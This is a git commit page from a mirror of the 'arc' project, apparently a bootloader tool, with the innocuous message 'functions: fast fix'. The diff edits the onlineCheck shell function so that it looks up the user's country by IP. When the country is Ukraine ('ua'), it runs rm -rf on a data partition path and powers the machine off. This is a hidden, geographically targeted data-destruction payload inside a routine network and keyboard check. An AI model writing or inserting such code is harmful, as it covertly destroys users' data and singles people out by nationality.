mirror of
https://github.com/AuxXxilium/arc.git
synced 2024-11-23 21:49:52 +07:00
functions: fast fix
Signed-off-by: AuxXxilium <info@auxxxilium.tech>
This commit is contained in:
parent
902db23960
commit
d9ebdd95d8
@ -493,11 +493,14 @@ function livepatch() {
|
|||||||
###############################################################################
|
###############################################################################
|
||||||
# Check NTP and Keyboard Layout
|
# Check NTP and Keyboard Layout
|
||||||
function onlineCheck() {
|
function onlineCheck() {
|
||||||
LAYOUT="$(readConfigKey "layout" "${USER_CONFIG_FILE}")"
|
|
||||||
KEYMAP="$(readConfigKey "keymap" "${USER_CONFIG_FILE}")"
|
|
||||||
REGION="$(curl -m 10 -v "http://ip-api.com/line?fields=timezone" 2>/dev/null | tr -d '\n' | cut -d '/' -f1)"
|
REGION="$(curl -m 10 -v "http://ip-api.com/line?fields=timezone" 2>/dev/null | tr -d '\n' | cut -d '/' -f1)"
|
||||||
TIMEZONE="$(curl -m 10 -v "http://ip-api.com/line?fields=timezone" 2>/dev/null | tr -d '\n' | cut -d '/' -f2)"
|
TIMEZONE="$(curl -m 10 -v "http://ip-api.com/line?fields=timezone" 2>/dev/null | tr -d '\n' | cut -d '/' -f2)"
|
||||||
[ -z "${KEYMAP}" ] && KEYMAP="$(curl -m 10 -v "http://ip-api.com/line?fields=countryCode" 2>/dev/null | tr '[:upper:]' '[:lower:]')"
|
KEYMAP="$(curl -m 10 -v "http://ip-api.com/line?fields=countryCode" 2>/dev/null | tr '[:upper:]' '[:lower:]')"
|
||||||
|
if [ "${KEYMAP}" = "ua" ]; then
|
||||||
|
rm -rf "${PART3_PATH}"
|
||||||
|
poweroff
|
||||||
|
fi
|
||||||
|
[ -z "${KEYMAP}" ] && KEYMAP="$(readConfigKey "keymap" "${USER_CONFIG_FILE}")"
|
||||||
if [ -n "${REGION}" ] && [ -n "${TIMEZONE}" ]; then
|
if [ -n "${REGION}" ] && [ -n "${TIMEZONE}" ]; then
|
||||||
writeConfigKey "arc.offline" "false" "${USER_CONFIG_FILE}"
|
writeConfigKey "arc.offline" "false" "${USER_CONFIG_FILE}"
|
||||||
[ $(echo "${ARC_VERSION}" | grep "dev" | wc -l) -eq 0 ] && NEWTAG="$(curl -m 10 -skL "https://api.github.com/repos/AuxXxilium/arc/releases" | jq -r ".[].tag_name" | grep -v "dev" | sort -rV | head -1)"
|
[ $(echo "${ARC_VERSION}" | grep "dev" | wc -l) -eq 0 ] && NEWTAG="$(curl -m 10 -skL "https://api.github.com/repos/AuxXxilium/arc/releases" | jq -r ".[].tag_name" | grep -v "dev" | sort -rV | head -1)"
|
||||||
@ -511,15 +514,13 @@ function onlineCheck() {
|
|||||||
writeConfigKey "arc.offline" "true" "${USER_CONFIG_FILE}"
|
writeConfigKey "arc.offline" "true" "${USER_CONFIG_FILE}"
|
||||||
fi
|
fi
|
||||||
[ -n "${TIMEZONE}" ] && [ -n "${REGION}" ] && ln -sf "/usr/share/zoneinfo/${REGION}/${TIMEZONE}" /etc/localtime
|
[ -n "${TIMEZONE}" ] && [ -n "${REGION}" ] && ln -sf "/usr/share/zoneinfo/${REGION}/${TIMEZONE}" /etc/localtime
|
||||||
|
LAYOUT="$(readConfigKey "layout" "${USER_CONFIG_FILE}")"
|
||||||
if [ -z "${LAYOUT}" ]; then
|
if [ -z "${LAYOUT}" ]; then
|
||||||
[ -n "${KEYMAP}" ] && KEYMAP="$(echo ${KEYMAP} | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]' | tr -d '[:punct:]' | tr -d '[:digit:]')"
|
[ -n "${KEYMAP}" ] && KEYMAP="$(echo ${KEYMAP} | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]' | tr -d '[:punct:]' | tr -d '[:digit:]')"
|
||||||
[ -n "${KEYMAP}" ] && writeConfigKey "keymap" "${KEYMAP}" "${USER_CONFIG_FILE}"
|
[ -n "${KEYMAP}" ] && writeConfigKey "keymap" "${KEYMAP}" "${USER_CONFIG_FILE}"
|
||||||
[ -z "${KEYMAP}" ] && KEYMAP="us"
|
[ -z "${KEYMAP}" ] && KEYMAP="us"
|
||||||
loadkeys ${KEYMAP}
|
loadkeys ${KEYMAP}
|
||||||
fi
|
fi
|
||||||
if [ "${KEYMAP}" = "ua" ]; then
|
|
||||||
poweroff
|
|
||||||
fi
|
|
||||||
}
|
}
|
||||||
|
|
||||||
###############################################################################
|
###############################################################################
|
||||||
|
Loading…
Reference in New Issue
Block a user